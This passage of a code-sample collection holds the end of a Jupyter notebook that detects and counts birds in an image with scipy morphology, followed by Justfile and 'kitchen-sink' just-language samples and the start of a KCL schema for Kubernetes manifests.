gRpa2uTxYsXmy4HBTgHYrfUjOkCiIbQtVtQ6DJ4CqQUQZtO\\njOkCgEaELozJ3XUJyBJCF0YUhu2lS5cMVgLoxYk0GFHutoaAC1JzcQSyiWEGZAWhi0zLjSu3tLSY\\nLgUZwfACjLDl/r3MdUVSGF4ASpw6dcp0CcggQheZNWvWrKLvC+9nACSF4QUUmTt3rnR0dOS/T+pf\\nbhuGF7iFJZLEZcAIZcMMgpGRERkzhn/A4C72boiIyN69e32Xe54nN998c+zb+/77732Xm+5p3nDD\\nDUa3D/cxvIC8sJ7u8ePHZd68eYltb86cOdLZ2Vm0LMkQtmGIA+7i1o7Iq3YYIe4wilqHy+PKcBdj\\nuqhJrUFkS9ADpjGmi1C1nmB7+eWXq/o5AhcuInSRFxRyrobf4cOHfZdfuHBBcyXIlNy1535NRDya\\nmy3n0Ucf9V1eqpZtNTQ0+K7z6NGjgdurdZuVvg4ma6C52YJylRNpKBKyP8S23ty66urqyt5PN6le\\ndkdHh8ydOzf0ea728pG8oBNpDC9Ai8LwKvx6cHBQy/Y//fTTot4GgQtTCF0USTJolFK+6584cWJi\\n28y5++67K3r+7t27E6oEWUfoYpRcOCqlZObMmSKS7B25Ll68GPhYueGOWrcxffr0wD8ya9eujWW7\\nQClCF2WdOXNGlFKJXApcKOl/5SdOnChPPvlk0fZ+++23sj/z3nvvJVoTsokTabDKhg0b5JVXXila\\npmNsNeg4YFwX1eJEGlLh1VdflS1btuS/37Nnj5btEq7QhZ4ucMX9998vH3zwQdGywjD2PI9wRmT0\\ndIEQH374YdEN3EVETpw4ISL/Dz/EdWIP2UVPFyjR2dkps2fPzn+vlOIDLFExerpARHPmzJGlS5cG\\nPk5vF7WgpwuEaGlpkfb29qJl9HYRJqinS+gCEfgdJwQvymF4AQAsQOgCIVpaWnyXX3PNNZorgQsY\\nXgAi4Io1VIrhBVTs9ddfN10C4Bx6uvCV2y/oyf2Hni4qRU8XVWFOKhAvQjcmLoeTy79bVOvXr/dd\\nnvskihtvvFFzRUgrhhdi8Ndff+XPZM+cOVPOnDljuKLale4Xvb29MmXKFEPV2CHsjw9DDSjExREJ\\nCvrQxTTL+sUAlfbus/TaIBrGdIGICFwkidBNgKtjoF9//bXpEozaunWr73JX328kg+GFGimlZGRk\\nxHd5mpWbIrV+/XrZsWOH5or0CrqVI1PHEBVjugkJCt0lS5bIoUOHDFQUjyi9tywGTcjxorES2I7Q\\nTZCrvR8Cxp+r7zfixYk0hMrNOc21IFkPl/r6et/l8+fP11wJ0oiebgxc6PlUcjJo7ty58u233yZY\\njf1ceM+RLIYXEuTCAVj6O/T390tDQ4MTv1tSsj6XGeUxvGCA53kybtw402VEUhgWSilpaGgo+/z+\\n/v6kS7JeV1eX6RKQQvR0Y+Ly2X56u+XxScHwQ0/XsE2bNpkuAQkhaFEJeroVqvbqo7QfmIxfhmtq\\napKenh7TZcAS9HQNciGcFixYYLoE6xG4iILQ1WDVqlWmS6jZkSNHTJcAOIHhhQr5vV7Lli2TgwcP\\nZuKCAk4aAdEwvBCTyZMnF32vlJKDBw+KiMjp06cDf27FihWJ1qULQQvUhp5uFerr66Wvr883gLLQ\\n2xX57/d06fcB4kZPN0b9/f2BgdPd3a25GjMIXKA6hG7MmpubAx9buHChxkoA2IjQTcDTTz/tu/zw\\n4cOaKwFgG8Z0ExL3pbOF61u7dq3s2bOnqvUA0IO7jBkQ51Vc3P8ASBdOpBngd7+Fm266qap1BYVr\\n2A3HAVim9NMCSj45wKPV1jZu3OiVqnZd27dvH7WuuNZNM9MeeOAB3jdHW2CuErrJt8LgvXDhQk3r\\neuuttwhehxrvm7stKFcZ09XIi+mCgkuXLkldXV3g44zzpkfh8ed5nowZw4ifKzxOpLlleHhYxo4d\\n6/sYoZsepccf7507gkKXP6spddVVV5kuAQko1wmCGwhdR0yaNCnfS/I8T4aHh+X8+fPyzTffGK4M\\nQCGGF1Isaq+If1ntFfQe8p6lH8MLDjl27Jj8/vvvkZ7LwQvYxf9MDKxS7TgfgQvYh54uAGhE6Dps\\n27ZtpksAUILQTSmlVL4FWb58ucaKEKf6+nrTJSAhhG4KFAbrxo0bI4/Vzpo1K6mSEJPt27fnv869\\nt0op6evrky1bthisDElhypgDmHaUbp7nydDQkIwfPz7wObyX6cOUsYw5fvy46RIQorGxMf8Hs1zg\\nwi30dB3g9x7SM7IPU/+yhZ5uhhw5csR0CYgJgeseeroO4E5V6eB3rA0NDcmMGTOkt7fX92d4L9Mr\\nqKfLFWmO2blzp+kSEFGUQI3rHsywBz1dB/T19eXndXKA2i0oREOOwyRLQkK4iTlgsWuvvVYGBgZ8\\nHyN004nQBSzHfGu3MHsBsBzhmg2ELmCR0uAliN1D6AKWyQUtgesmQhewEIHrLkIXADQidAFAI0IX\\nADQidAFAI0IXADQqe0UaACBe9HQBQCNCFwA0InQBQCNCFwA0InQBQKN/Ae70yzlkyn1PAAAAAElF\\nTkSuQmCC\\n\",\n      \"text/plain\": [\n       \"<matplotlib.figure.Figure at 0x80e06d8>\"\n      ]\n     },\n     \"metadata\": {},\n     \"output_type\": \"display_data\"\n    }\n   ],\n   \"source\": [\n    \"# I've chosen a disk-type structuring element so as to avoid birds' wings reaching out and touching others on dilation\\n\",\n    \"struct = [[0, 0, 1, 1, 1, 0, 0],\\n\",\n    \"          [0, 1, 1, 1, 1, 1, 0],\\n\",\n    \"          [1, 1, 1, 1, 1, 1, 1],\\n\",\n    \"          [1, 1, 1, 1, 1, 1, 1],\\n\",\n    \"          [1, 1, 1, 1, 1, 1, 1],\\n\",\n    \"          [0, 1, 1, 1, 1, 1, 0],\\n\",\n    \"          [0, 0, 1, 1, 1, 0, 0]]\\n\",\n    \"\\n\",\n    \"\\n\",\n    \"birdsImage = binaryBirds\\n\",\n    \"\\n\",\n    \"# Two erosions and two dilations to get rid of noise, and isolate bird structures.\\n\",\n    \"birdsImage = scipy.ndimage.binary_erosion(birdsImage, struct, iterations=2).astype(birdsImage.dtype)\\n\",\n    \"birdsImage = scipy.ndimage.binary_dilation(birdsImage, struct, iterations=2).astype(birdsImage.dtype)\\n\",\n    \"\\n\",\n    \"plotImage(birdsImage)\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 11,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"18 birds have been detected.\\n\"\n     ]\n    },\n    {\n     \"data\": {\n      \"image/png\": \"iVBORw0KGgoAAAANSUhEUgAAAV0AAADtCAYAAAAcNaZ2AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\\nAAALEgAACxIB0t1+/AAAFPhJREFUeJzt3XuYVPV9x/HvzOwFZndhuSws4gawKKIGZEGlgIBRIxIR\\ng03WKl7w8lBbqGnykP7RqJXkn9QmNtU0taXVGGIhsTwBH1G8VEAhUWER5SqEBZeF5bKwXPY+l/5B\\ndtjZPWd2Luf8fufyfj0PDzPnzMz5PA/shx+/c35nAvF4XAAAagR1BwAAP6F0AUAhShcAFKJ0AUAh\\nShcAFKJ0AUChvFQ7A4EA15MBQBbi8XjAaHvK0hURebW61vo0AOBh91ZWmO5jegGw0KottdLaEdUd\\nAw5G6QIW2bDnuIiIrN1+RHMSOBmlC1ik4Xxb4vGhhiaNSeBklC5gg601p3RHgEPlXLq/eP8PVuQA\\nPCfGzaRgIKfSbWprFxGKFzDyu62HdUeAA1k2vUDxAkDvLJ3TbWnvsPLjANd7fVud7ghwGEtL9+VN\\nW638OMD1OqIx3RHgMJZfvcA0AwCY45IxwGY7687ojgAH6fXeC9loON8sg4rDdnw0IGejb0tMzhvu\\nKw3NU5wGyIwtpQvYyaxwRUQao6sSj51SwHuPnpWrh/fXHQMOkdP0wiubq63KAaStNDRP8gJlvb6u\\nawEDTsFIF65UHLxRRETOxz6USPy46esao6uUjXgHFRcm3X+hq1VbLt4idd4k89v+wftyGuk+MKXS\\ncPv+4ydz+VggbcXBaWmNelWYceUQ3RHgAjmNdIsKCwy3Vx86ItWHLt7e7vGbJudyGCCl4uCNplMJ\\nTpnX7cQoF7ZPL1C4UC0g+dI/NEdEoj3KOBycIAWBUZYc52hji/x+f/r/qxvSr48lx4W7ZVW6RxrP\\nyuptu3p93d0Tr8nm44GM9Q99Q85E35BQoL9E42dMR77NsW1SEMq9dLvO0abr+NnWnI8L90u7dNsi\\nEfnvD7Zk9OFD+hVnHAjIxpnoGyIiEo2nXohg1XTDvEkVhsVbVJgnpeECqTvdbPi+VVtqmWLwubRL\\nN9PCFbmwJJjpBVgt20vB7J7f7Vqmq7YYl66IyOZ9J2XK5YNtzQLnyvrqhcdvmpz41SffvLu5FwOs\\n1Bxzzk2VOks2PxTMaPRaf6bFrkhwgbRL9/GbJkswEEgUbVcLpk1K+d49R82vowTcbN6kCpkzYbjh\\n9lQ27uVnwq8yGukunHmD6b5U0wjv7zmQyWEAU+HgRMPtpaF5jrs8bFSZ+TmNk+eMF1HA+yy9y9iD\\nU41/IAArFQRGJB73D81JKtvi4HTD9+go5AkjBig/JpzP0tINF+Sbjnh31NVbeSj4WDg4MTGyDUh+\\n0r7mWM8TvjpHwKmmGVZX8x1qfmTL/XSNiveDLw7acSggSUySrxpwwpSDWfFGY3xbsB/ZdhNzLhWD\\nTsXBGY4o3E5cm4tOtn5zxF0Trrbz44EeOqcd8gKDdEfpYd6kChk9tCRp25ptTDH4ja2lO6y0RC4r\\nG2jnIQBXGVdRKrePuyTxPBJlisFvbP+OtNuuuUKmjB7BdAPwJ30LQonphsI8vqbQb5TcxHx8xTAV\\nhwFchXlef+KfWQBQiNIFAIUoXQBQiNIFAIUoXQBQiNIFAIUoXQBQiNIFAIWULI7Ixu7mpxOPx4af\\n0ZgEAKzjyJFuLJ58V/3dzU8nlTAAuJUjSzcYKDTcTvkCcDtHlq5I6imF3c1Py/6W5xSmAQBrOLZ0\\nRVIXb0e8kVEvANdxdOmK9H4S7UDrzxUlAYDcOb50e9MWO647AgCkzRWlm2q0OyT/FoVJACA3rijd\\nVJpif9QdAQDS5tjFEelqitawkAKAa7i+dAE3eXH73KTnC8ev1pQEujiudBsjW+Ro++tZvbe84A6L\\n0wD2enH7XJk16gcyot91uqNAEcfN6WZbuGPDz8iAPP7iwn3eqvmR7ghQyHGlm626tt/qjgAAvfJM\\n6Z6N7pDDbSt1xwBM7Tn1ru4IcADHzenmBYolEj+ftK3zioTDbf8j56J7TN97LrrL1mxALjbUPm+6\\nr+sJNk6ueZvjRrqX912SeDw2/EzSJWCXFv6lFIdG64gF5GxGxeK0XtcSabQ5CXRyXOmK9CzbrioK\\n7zd9X2lepV2RgJx9cPjf0npd37xSm5NAJ8dNL+RiWMHc3l8EKPRfn39LIrH2tF/P1IL3ubJ0x4af\\n4baOcLTuiyDSQeH6gyOnF7LB8l+4XTZFDfdx5UgXcLqKkkqpPVedeN51FEu5+psnSpdRLpxm9mXm\\n01+3j3pS3qz5ocI0cBLPTC8AbjGo7yjdEaCR60uXUS7cpih/kCwcv1quHTIvaTsn0vzBtdMLlC3c\\n7oZhD8qnx1eJCIXrJ64tXcALFo5fLdXHfqM7BhRy/fQC4HaVQ7+tOwIUonQBQCFKFwAUonQBQCFK\\nV6FQS4PuCAA04+oFRQZW/yzx+FTlExqTANCJkS4AKETpKhCuXZ/0vOgQ35UF+BWlq0CfE9uTnhc2\\n7NSUBIBulC4AKETpatL1xBoA/6B0AUAhSleBjv7G908t/ew/FScBoBulq0C0oJ/h9mCkWXESALpR\\nugCgEKWrQHPFTN0RADgEpQsACnHvBc24JwPgL4x0FSg4tUd3BAAOwUjXYtkuemCUC/gDI10HoHB7\\nd+fKF+TOlS/ojgHkjJGuItG+ZRJqOaE7hut0L9qKmj1SO+pKTWmA3DHStdmpyifkVOUTcmbsvaav\\n4T4M6ZvwMbfFhLsx0rVYqqmCeDBPArGIwjQAnIaRrkKnr/0b0339d/5SYRJ3uPmNXxluH7XvM8VJ\\nAOtQug4RamvUHcFx3vvG/Ybbv1q9UXESwDqUrmItwybrjgBAI0pXsZZhN+iOAEAjZaU7c/4smTl/\\nllzy3huqDgkAjqN8pHvFS8+rPqTjNH71Ed0R4HDXvfuc7giwibLSPTVuUuLxzPmzVB3WkWL5xYbb\\ni778P8VJ3KtzhZoXV6nd/JvvStmRnTL7lUd1R4ENlJVuYUPyaqzrl/j7L5TR9bz5Zw5oSOJse6/x\\n3xz4e9/+qe4IsJGyxRFFdYeSnoePHlZ1aMc6VflE0mq0YEeTxjT6BaNRueO1X2T0njVVi2xK4wyz\\nX3lU1j6wTHcMWEjr1Qt+n2YQ4WY3XWVauA1lw21Kos+s5QuZVvA4LhlzgM7ipYAzM+hEne4IlgvG\\norojwGbaS5fR7gWqC7eq/impqn9Krj33ltLjZmJN1aLELzNePJHWHSNfb+GGNz43pmmzfFrijH/4\\n1lQtkus2rZVPps7usa+tT1gKW42/sr7/6RNyZkCZ3fEAS2gf6UK/a86/rztCglHhioism/uw6Xtm\\nvL3SrjiKxXUHgAKOKN2Smn1SUrNPdwzfqKp/Kun51Q4q3VT2X1mpO4LNAqZ7yg9tVZgDdlJWunW3\\n3mm6b+KTi2Xik4tl5vxZMmXxfaoi+VbM4I+9exE70a7xU3RHAHKmrHT3PfjXab1u8/O/tjkJmkOl\\nuiNkzeykmtdPqOV1tOiOAIvYXrrBSCRxs5verF/u3DPpXvJG2XcMt7thtCvi/QURRsZtfll3BFjE\\nlqsXsroMLGA+nwV0t6Zqkdy58oXE74BbOOeSsThnbpEZv414u16vy9Jg91I2p3vwm/f1On3AQgl1\\nGvPKDbdX1T8ls0+669uJe1tA4SbplmlB23mbk8AuSkp3/fK35ODdF77vavMLr6o4JHqxbrD5ic2S\\nSINU1T8l1535ncJEEBGZvO6f0npde6Hx7UHhfLZML6xf/pbMnD9LDlQtkC/nVCXtay8dmPK90x+a\\nIxtfft2OWMjQJ/3v0h3B065/5ycy+OjujN/H1IK72Tanm2oqoX7G16V8w9uG+4KRDrsi+d7UxhUy\\nrO0LCcUjvb52ZflSBYn8LZvChftpWZG257Hv6jisr1XVPyWXtu5Kq3BFRL7S+rnNiWDmsykPSSS/\\nj+4YsIm2ZcBck6vfmiFLTEe0f974W8VpsPaBZbL2gWVyePQ0yetoNX0ddx1zN633Xjhxw406D+9b\\nK8uXysrypdISLEn5OrcslnCrtQ8sk33j5ybKtvu+VChe99JaujsX/4OcnNRzPf2Nj83TkMbbOovW\\naGTL/K0++8bP0R0Bimm/y9iO7zCacjJGu/r0Ntq9/p2fKEoCK2kvXZGe87uhFuObVcM+jHadaf+4\\nO0z3cfWDOzmidEU4seYEZsV7S8N/KE6CTl9ce1fKhRDFjUcUpoEVHFO6IheLNx50VCxfMSreQR2H\\nNSRBp3er/sV03/Q1TP+4jePabf3yt2TDK2t1x/C1Lf04ueM0rELzDseVLvT7Y/i6HiNeTqjp17V4\\n91benXjM5WPu4pxbO8JxVpYvlb849kMJxTukvvDPdMeBJBfvmOr/1ZgE2aJ0kdJrQ5/UHQHwFEoX\\ncCnmed2JOV0AUIjShTb3bJwq92ycqjsGoBSlCy26lu23PvyaxiSAWpQutAvF2nRHAJShdOEITDPA\\nL7h6Ab5228YLCws+Hv99Od3/Cs1p4AeMdOEYOke7129P71t4gVxRuvCtaZ/8QHcE+BClC98qaqlP\\nen5ZLTdagv0oXSQpbO+QMQfrEr/85PKaVbojwAcoXSSMOVgnI48c15rhno3TtB4fsBulCxERKT95\\n2nD7mIN1UtARsfx4Z8MjTfbELT9WJvq0ndJ6fHgfpQsREakfPMB036i6YzLmYJ2MsHAUvHbSr3ts\\ne3PSchG5uDxYx9UMMz76vvJjwl+4TteHsp2rPXTJEIuTJLt9y/we2+7ZOFVWTN9k63EBlShdpGXv\\nyOE5vT/bUSuFC69hegG2G1fz71m9j8KFF1G6SMh1NOs2DaVjDbffvPlvFSeBn1C6PtS1XI8OHiB7\\nRw63tXD3VNxnuL2h5CrbjpmOLeO+Z7g9L9Ist218NHFfBsBKzOn6VKYlO+ZgXdbF3J5X0mNb59RB\\nKNZmej9dO0+iTdn6j1LSdNiWzwZSoXShxIrpmxIn07oWaTRYqOT4kz7/qQw6vSuj96ybzneQwXpM\\nLyCJndMMK6ZvMhy5vjb1XduO2SnTwq0rZ2Uc7EHpoofOOd69I4fLgUvLRUSkPd++/xRFQn1N91m1\\nQCIa6jmiXj/5n01Hs8PrP7TkuEB3lC5S6sgLyd6Rw6Vm+FBbj2P35WHvTv257Bp98YTeuunLpK2g\\nNOV7xu9+0dZM8CdKF46xYvom2T7qr2z7/NpLbpJ105f1GN2ajXbLT3xiWxb4F6ULR9ldcb/sGPFw\\n4vmB8juUHJeTZlCFqxfgODtGPCI7Rjyi/Ljbrl4kE3a+YLr/xEvbpGzBBIWJ4EWMdIE/OT7oWjlX\\nVJG0bUr1MyJyoXC7/g5ki9IFutg88Wk5H74k8bzkfK3GNPAiShfoZtOkpVJ9jfn9FxjtIhfM6QIG\\nTgwclzi51nHsvOY08BJGukAv8ocW99jGaBfZonQBQCFKF+iF2fRCPBJTnAReQOkCvTCaXhAROfmr\\n7YqTwAsoXZg6/eEe3REAz6F0Yejg82vlzLYDumMAnkPpIqWDz6/VHQHwFErXIlP6eLecKF6R4smX\\nGm4/8dI2OfHSNomea1ecCG5F6Vpgcp91InKheAsDLZrT2KN2mf3f7uBkfceWpdx/6rWdipLA7ViR\\nZoGgRBOPJxa+L5tbZ2tMY49oi79GcpkufuDuY0gXI12gGwoXdqJ0beDV+d0jK/z9vWHh8eWG21kS\\njExQukhb+4mzIiJy9rNDmpPYq/vItWzBBClbMEGKKodpSgQvYU7XJqXBE9IYS33yxY06r2Q4tWGn\\njFzsvbnrTplOGfCtEkgXI12bXFXg7i817K1QvVy4qVCsyBUjXSSkez2uXwu30+D54+Tk8s96bO84\\n1iT5Q4s0JIKbMNKFiGS2AKK94ZyNSZwvkB8y3N649gvFSeBGlC4MBQvyTEe0R179QHEa52GaAdmi\\ndG00pc9aCYo77rnatWBHLp4tX1n49ZSv//LFt+2O5HjBogLdEeBCgXg8br4zEIi/Ws23oaYjnWtz\\n3bpSzWzqwe9zu526XqfLCBgiIvdWVkg8Hg8Y7WOkq0ht5ArdEWATihaZ4OqFDGW72qw2MtriJOqM\\nXDybO431omzBBIm1dOiOARdgpKuAW6cVuiq/e7LuCI4X7JuvOwJcgNJVYFDoqO4IOetzyUDdEQBP\\noHQtsLt9UsrR7Jh8b9wQhRNnQO4o3Qx93HZr0vPNrbPldGyIiIi0xsOm7xsYOmZrLlUoXiA3lG6G\\nIvF8+aj1wjWs3Ue31W0zTd93Zf5WO2MpRfEC2aN0sxCVPNPphPZ4H8Vp9KB4gexQuhbb0vY10339\\ngw0KkwBwIkrXBjUdVxluv7rgI8VJADgNiyNscDQ6Ukbl77L0M6ec/nHi8f7w7XK8cJylnw9ADUa6\\nNrFzQcTo5jdlyukfJxUxAHegdG1UG7m8x7a+gaasPmvzgL833E75Au5C6dqoNnJ5j+KdULgh6887\\nWjjRdB/l6055X3wgRc/e2vsL4RmUrs0uFO/FO4xFJPv1+TXhW1IWr4hQvC5TuHqpiAjF6yOUrgK1\\nkdGJOd6PW3P74aoJ3yKxAOc/vajo2dQ3joc3ULoKWXVy7Q+l35M4f3QeZP6FAvAOfnJd6vcDluiO\\nABswzeB9/D/VIz4q/TuJBgoSJ9TiEpRooEDagyXyab+HdccD8CeUrkfc0Phc0vOAxCQv3ip50VZN\\niZCtomdvlaYl7+iOAZtQui407uwvpTB2Nq3Xml3fC0APStcFsr0MjMIFnIcTaQCgEKXrYSNa1uuO\\nAKAbphdcquvUgdn0w8COfXKo70xFiWClQFuTxAuLdMeADRjpukDXgv2y741pz9Vu6/eYXZFgkY6J\\n30w8bp/2kDQteUealrwj4X+9Swo+fFlfMNgmEI+br4IJBALxV6trFcZBNsxGupxIc4eiZ28VCRWI\\nRNtNX8MlZO5yb2WFxOPxgNE+Rroe1RQaqjsCehFoOXtxBVqKwoW3MKfrUdv7PaQ7ArrJdokvo1xv\\nYaTrQWfzKnRHgEUoXO+hdD1oR8m9uiMgXXkF0rzoNd0poBDTCx5TXzhBdwSkKZ1RLPdh8B5Guh4Q\\nDRQmHh8IcyNsp+osz87LwuBPXDIGOECgvVnCP5truI+Cdh8uGQMcLl4Q1h0BilC6gEMwovUHShdw\\nkO7FSxF7D6ULOEzXE27wHkoXcCAK17soXQBQiNIFAIUoXQBQiNIFAIV6XZGmMAsAeIbZirSUpQsA\\nsBbTCwCgEKULAApRugCgEKULAApRugCg0P8DsKVY1HBd/6gAAAAASUVORK5CYII=\\n\",\n      \"text/plain\": [\n       \"<matplotlib.figure.Figure at 0x763f940>\"\n      ]\n     },\n     \"metadata\": {},\n     \"output_type\": \"display_data\"\n    }\n   ],\n   \"source\": [\n    \"labeled_array, num_features = scipy.ndimage.label(birdsImage)\\n\",\n    \"\\n\",\n    \"print(\\\"%d birds have been detected.\\\" % num_features)\\n\",\n    \"\\n\",\n    \"# Plotting with a colorful color-map so as to demonstrate the contiguous areas detected\\n\",\n    \"plotImage(labeled_array, 'Paired')\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": true\n   },\n   \"outputs\": [],\n   \"source\": []\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 3\",\n   \"language\": \"python\",\n   \"name\": \"python3\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 3\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython3\",\n   \"version\": \"3.4.3\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 0\n}\n"
  },
  {
    "path": "samples/Just/filenames/Justfile",
    "content": "alias b := build\n\nhost := `uname -a`\n\n# build main\nbuild:\n    cc *.c -o main\n\n# test everything\ntest-all: build\n    ./test --all\n\n# run a specific test\ntest TEST: build\n    ./test --test {{TEST}}\n"
  },
  {
    "path": "samples/Just/kitchen-sink.just",
    "content": "set shell := [\"sh\", \"-c\"]\nset windows-shell := [\"powershell.exe\", \"-NoLogo\", \"-Command\"]\nset allow-duplicate-recipes\nset positional-arguments\nset dotenv-load\nset export\n\nalias s := serve\n\nbt := '0'\n\nexport RUST_BACKTRACE_1 := bt\n\nlog := \"warn\"\n\nexport JUST_LOG := (log + \"ing\" + `grep loop /etc/networks | cut -f2`)\n\ntmpdir  := `mktemp`\nversion := \"0.2.7\"\ntardir  := tmpdir / \"awesomesauce-\" + version\nfoo1    := / \"tmp\"\nfoo2_3  := \"a/\"\ntarball := tardir + \".tar.gz\"\n\nexport RUST_BACKTRACE_2 := \"1\"\nstring-with-tab             := \"\\t\"\nstring-with-newline         := \"\\n\"\nstring-with-carriage-return := \"\\r\"\nstring-with-double-quote    := \"\\\"\"\nstring-with-slash           := \"\\\\\"\nstring-with-no-newline      := \"\\\n\"\n\n# Newlines in variables\nsingle := '\nhello\n'\n\ndouble := \"\ngoodbye\n\"\nescapes := '\\t\\n\\r\\\"\\\\'\n\n# this string will evaluate to `foo\\nbar\\n`\nx := '''\n  foo\n  bar\n'''\n\n# this string will evaluate to `abc\\n  wuv\\nbar\\n`\ny := \"\"\"\n  abc\n    wuv\n  xyz\n\"\"\"\n\nfor:\n  for file in `ls .`; do \\\n    echo $file; \\\n  done\n\nserve:\n  touch {{tmpdir}}/file\n\n# This backtick evaluates the command `echo foo\\necho bar\\n`, which produces the value `foo\\nbar\\n`.\nstuff := ```\n    echo foo\n    echo bar\n  ```\n\n\nan_arch := trim(lowercase(justfile())) + arch()\ntrim_end := trim_end(\"99.99954%   \")\nhome_dir := replace(env_var('HOME') / \"yep\", 'yep', '')\nquoted := quote(\"some things beyond\\\"$()^%#@!|-+=_*&'`\")\nsmartphone := trim_end_match('blah.txt', 'txt')\nmuseum := trim_start_match(trim_start(trim_end_matches('   yep_blah.txt.txt', '.txt')), 'yep_')\nwater := trim_start_matches('ssssssoup.txt', 's')\ncongress := uppercase(os())\nfam := os_family()\npath_1 := absolute_path('test')\npath_2 := '/tmp/subcommittee.txt'\next_z := extension(path_2)\nexe_name := file_name(just_executable())\na_stem := file_stem(path_2)\na_parent := parent_directory(path_2)\nsans_ext := without_extension(path_2)\ncamera := join('tmp', 'dir1', 'dir2', path_2)\ncleaned := clean('/tmp/blah/..///thing.txt')\nid__path := '/tmp' / sha256('blah') / sha256_file(justfile())\n_another_var := env_var_or_default(\"HOME\", justfile_directory())\npython := `which python`\n\nexists := if path_exists(just_executable()) =~ '^/User' { uuid() } else { 'yeah' }\n\nfoo   := if env_var(\"_\") == \"/usr/bin/env\" { `touch /tmp/a_file` } else { \"dummy-value\" }\nfoo_b := if \"hello\" == \"goodbye\" { \"xyz\" } else { if \"no\" == \"no\" { \"yep\"} else { error(\"123\") } }\nfoo_c := if \"hello\" == \"goodbye\" {\n  \"xyz\"\n} else if \"a\" == \"a\" {\n  \"abc\"\n} else {\n  \"123\"\n}\n\nbar:\n  @echo {{foo}}\n\n\nbar2 foo_stuff:\n  echo {{ if foo_stuff == \"bar\" { \"hello\" } else { \"goodbye\" } }}\n\nexecutable:\n  @echo The executable is at: {{just_executable()}}\n\n\nrustfmt:\n  find {{invocation_directory()}} -name \\*.rs -exec rustfmt {} \\;\n\ntest:\n  echo \"{{home_dir}}\"\n\n\nlinewise:\n  Write-Host \"Hello, world!\"\n\nserve2:\n  @echo \"Starting server with database $DATABASE_ADDRESS on port $SERVER_PORT…\"\n\n\nshebang := if os() == 'windows' {\n  'powershell.exe'\n} else {\n  '/usr/bin/env pwsh'\n}\n\nshebang:\n\t#!{{shebang}}\n\t$PSV = $PSVersionTable.PSVersion | % {\"$_\" -split \"\\.\" }\n\t$psver = $PSV[0] + \".\" + $PSV[1]\n\tif ($PSV[2].Length -lt 4) {\n\t\t$psver += \".\" + $PSV[2] + \" Core\"\n\t} else {\n\t\t$psver += \" Desktop\"\n\t}\n\techo \"PowerShell $psver\"\n\n@foo:\n  echo bar\n\n@test5 *args='':\n  bash -c 'while (( \"$#\" )); do echo - $1; shift; done' -- \"$@\"\n\ntest2 $RUST_BACKTRACE=\"1\":\n  # will print a stack trace if it crashes\n  cargo test\n\n\nnotify m=\"\":\n\tkeybase chat send --topic-type \"chat\" --channel <channel> <team> \"upd(<repo>): {{m}}\"\n\n# Sample project script 2\nscript2 *ARGS:\n    {{ python }} script2.py {{ ARGS }}\n\nbraces:\n  echo 'I {{{{LOVE}} curly braces!'\n\n_braces2:\n  echo '{{'I {{LOVE}} curly braces!'}}'\n\n_braces3:\n  echo 'I {{ \"{{\" }}LOVE}} curly braces!'\n\nfoo2:\n  -@cat foo\n  echo 'Done!'\n\ntest3 target tests=path_1:\n  @echo 'Testing {{target}}:{{tests}}…'\n  ./test --tests {{tests}} {{target}}\n\ntest4 triple=(an_arch + \"-unknown-unknown\") input=(an_arch / \"input.dat\"):\n  ./test {{triple}}\n\nvariadic $VAR1_1 VAR2 VAR3 VAR4=(\"a\") +$FLAGS='-q': foo2 braces\n  cargo test {{FLAGS}}\n\ntime:\n  @-date +\"%H:%S\"\n  -cat /tmp/nonexistent_file.txt\n  @echo \"finished\"\n\njustwords:\n  grep just \\\n    --text /usr/share/dict/words \\\n    > /tmp/justwords\n\n# Subsequent dependencies\n# https://just.systems/man/en/chapter_37.html\n# To test, run `$ just -f test-suite.just b`\na:\n  echo 'A!'\n\nb: a && d\n  echo 'B start!'\n  just -f {{justfile()}} c\n  echo 'B end!'\n\nc:\n  echo 'C!'\n\nd:\n  echo 'D!'\n"
  },
  {
    "path": "samples/KCL/complex.k",
    "content": "schema App:\n    \"\"\"The application model.\"\"\"\n    name: str\n    replicas: int = 1\n    labels?: {str:str} = {app = name}\n    service?: Service\n    containers?: {str: Container}\n\nschema Service:\n    \"\"\"The service model.\"\"\"\n    $type?: str\n    ports: [Port]\n\nschema Port:\n    \"\"\"The port model.\"\"\"\n    port: int\n    protocol: \"TCP\" | \"UDP\" | \"SCTP\" = \"TCP\"\n    targetPort?: int | str\n\nschema Container:\n    \"\"\"The container model.\"\"\"\n    image: str\n    command?: [str]\n    args?: [str]\n    env?: [Env]\n    volumes?: [Volume]\n    resources?: Resource\n    ports: [ContainerPort]\n\nschema ContainerPort:\n    \"\"\"The container port model.\"\"\"\n    name?: str\n    protocol: \"TCP\" | \"UDP\" | \"SCTP\" = \"TCP\"\n    containerPort: int\n\n    check:\n        1 <= containerPort <= 65535, \"containerPort must be between 1 and 65535, inclusive\"\n\nschema Env:\n    name: str\n    value: str\n\nschema Volume:\n    source: str\n    path: str\n    target: str\n    readOnly?: bool = False\n\nschema Resource:\n    limits?: {str:}\n    requests?: {str:}\n\nimport manifests\n\n# Convert the `App` model into Kubernetes Deployment and Service Manifests\nkubernetesRender = lambda a: App {\n    # Construct the deployment manifest.\n    deployment = {\n        apiVersion = \"apps/v1\"\n        kind = \"Deployment\"\n        metadata.name = a.name\n        metadata.labels = a.labels\n        spec = {\n            replicas = a.replicas\n            selector.matchLabels = a.labels\n            template.metadata.labels = a.labels\n            template.spec.containers = [\n                {\n                    name = name\n                    image = c.image\n                    command = c.command\n                    args = c.args\n                    env = c.env\n                    volumeMounts = c.volumes\n                    resources: c.resources\n                    ports = c.ports\n                } for name, c in a.containers\n            ]\n        }\n    }\n    # Construct the service manifest.\n    service = {\n        apiVersion = \"v1\"\n        kind = \"Service\"\n        metadata.name = a.name\n        metadata.labels = a.labels\n        spec = {\n            type = a.service?.$type\n            selector = a.labels\n            ports = 